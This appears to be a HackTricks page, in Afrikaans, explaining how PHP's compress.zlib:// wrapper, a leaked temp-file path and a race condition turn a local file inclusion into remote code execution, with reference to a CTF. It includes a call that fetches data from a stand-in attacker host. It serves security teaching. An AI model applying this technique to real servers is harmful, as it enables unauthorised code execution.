LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Ondersteun HackTricks

compress.zlib:// en PHP_STREAM_PREFER_STDIO

'n Lêer wat geopen is met die protokol compress.zlib:// met die vlag PHP_STREAM_PREFER_STDIO kan voortgaan om data te skryf wat later na die verbinding kom na dieselfde lêer.

Dit beteken dat 'n oproep soos:

file_get_contents("compress.zlib://http://attacker.com/file")

Sal 'n versoek stuur wat vra vir http://attacker.com/file, dan mag die bediener die versoek met 'n geldige HTTP-antwoord beantwoord, die verbinding oop hou, en ekstra data 'n rukkie later stuur wat ook in die lêer geskryf sal word.

Jy kan daardie inligting in hierdie deel van die php-src kode in main/streams/cast.c sien:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Race Condition na RCE

Hierdie CTF is opgelos met die vorige truuk.

Die aanvaller sal die slagoffer se bediener 'n verbinding laat oopmaak wat 'n lêer van die aanvaller se bediener lees met behulp van die compress.zlib protokol.

Terwyl hierdie verbinding bestaan, sal die aanvaller die pad na die tydelike lêer wat geskep is uitvoer (dit is gelekt deur die bediener).

Terwyl die verbinding steeds oop is, sal die aanvaller 'n LFI benut wat die tydelike lêer laai wat hy beheer.

Daar is egter 'n kontrole in die webbediener wat voorkom dat lêers wat <? bevat, gelaai word. Daarom sal die aanvaller 'n Race Condition misbruik. In die verbinding wat steeds oop is, sal die aanvaller die PHP payload STEL NA die webbediener gekontroleer het of die lêer die verbode karakters bevat, maar VOORDAT dit sy inhoud laai.

Vir meer inligting, kyk na die beskrywing van die Race Condition en die CTF in https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

Ondersteun HackTricks

Last updated